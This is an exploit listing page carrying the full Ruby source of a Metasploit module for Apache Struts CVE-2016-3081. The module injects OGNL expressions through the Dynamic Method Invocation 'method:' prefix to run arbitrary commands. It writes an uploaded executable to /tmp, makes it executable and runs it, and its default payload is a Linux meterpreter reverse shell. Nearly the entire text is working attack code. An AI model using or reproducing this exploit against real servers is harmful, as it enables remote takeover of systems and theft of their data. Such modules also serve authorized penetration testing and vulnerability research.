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Apache Struts 2.3.28 Dynamic Method Invocation Remote Code Execution

Apache Struts 2.3.28 Dynamic Method Invocation Remote Code Execution
Posted Apr 30, 2016
Authored by Nixawk | Site metasploit.com

This Metasploit module exploits a remote command execution vulnerability in Apache Struts version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code Execution can be performed via method: prefix when Dynamic Method Invocation is enabled.

tags | exploit, remote, code execution
advisories | CVE-2016-3081
SHA-256 | 39285e2ede3a389887f3e8ccc69a2f47104f97406d3bfc7a832a9a1fa422a408

Apache Struts 2.3.28 Dynamic Method Invocation Remote Code Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
Execution can be performed via method: prefix when Dynamic Method Invocation
is enabled.
},
'Author' => [ 'Nixawk' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3081' ],
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
],
'Platform' => %w{ linux },
'Privileged' => true,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid'
},
'Targets' =>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DisclosureDate' => 'Apr 27 2016',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
], self.class)
end

def print_status(msg='')
super("#{peer} - #{msg}")
end

def send_http_request(payload)
uri = normalize_uri(datastore['TARGETURI'])
res = send_request_cgi(
'uri' => "#{uri}#{payload}",
'method' => 'POST')
if res && res.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
res
end

def parameterize(params) # params is a hash
URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))
end

def generate_rce_payload(code, params_hash)
payload = "?method:"
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
payload << ","
payload << Rex::Text.uri_encode(code)
payload << ","
payload << Rex::Text.uri_encode("1?#xx:#request.toString")
payload << "&"
payload << parameterize(params_hash)
payload
end

def temp_path
@TMPPATH ||= lambda {
path = datastore['TMPPATH']
return nil unless path
unless path.end_with?('/')
path << '/'
end
return path
}.call
end

def upload_file(filename, content)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)

code = "##{var_a}=new sun.misc.BASE64Decoder(),"
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"
code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"
code << "##{var_b}.close()"

params_hash = { var_c => filename, var_d => content }
payload = generate_rce_payload(code, params_hash)

send_http_request(payload)
end

def execute_command(cmd)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
var_f = rand_text_alpha_lower(4)

code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"
code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"
code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"
code << "##{var_d}=new char[1024],"
code << "##{var_c}.read(##{var_d}),"

code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_e}.println(##{var_d}),"
code << "##{var_e}.close()"

cmd.tr!(' ', '+') if cmd && cmd.include?(' ')
params_hash = { var_f => cmd }
payload = generate_rce_payload(code, params_hash)

send_http_request(payload)
end

def linux_stager
payload_exe = rand_text_alphanumeric(4 + rand(4))
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"

b64_filename = Rex::Text.encode_base64(payload_exe)
b64_content = Rex::Text.encode_base64(generate_payload_exe)

print_status("Uploading exploit to #{payload_exe}")
upload_file(b64_filename, b64_content)

print_status("Attempting to execute the payload...")
execute_command("chmod 700 #{payload_exe}")
execute_command("/bin/sh -c #{payload_exe}")
end

def exploit
linux_stager
end

def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)

addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
flag = Rex::Text.rand_text_alpha(5)

code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.close()"

params_hash = { var_b => flag }
payload = generate_rce_payload(code, params_hash)

begin
resp = send_http_request(payload)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end

if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

end
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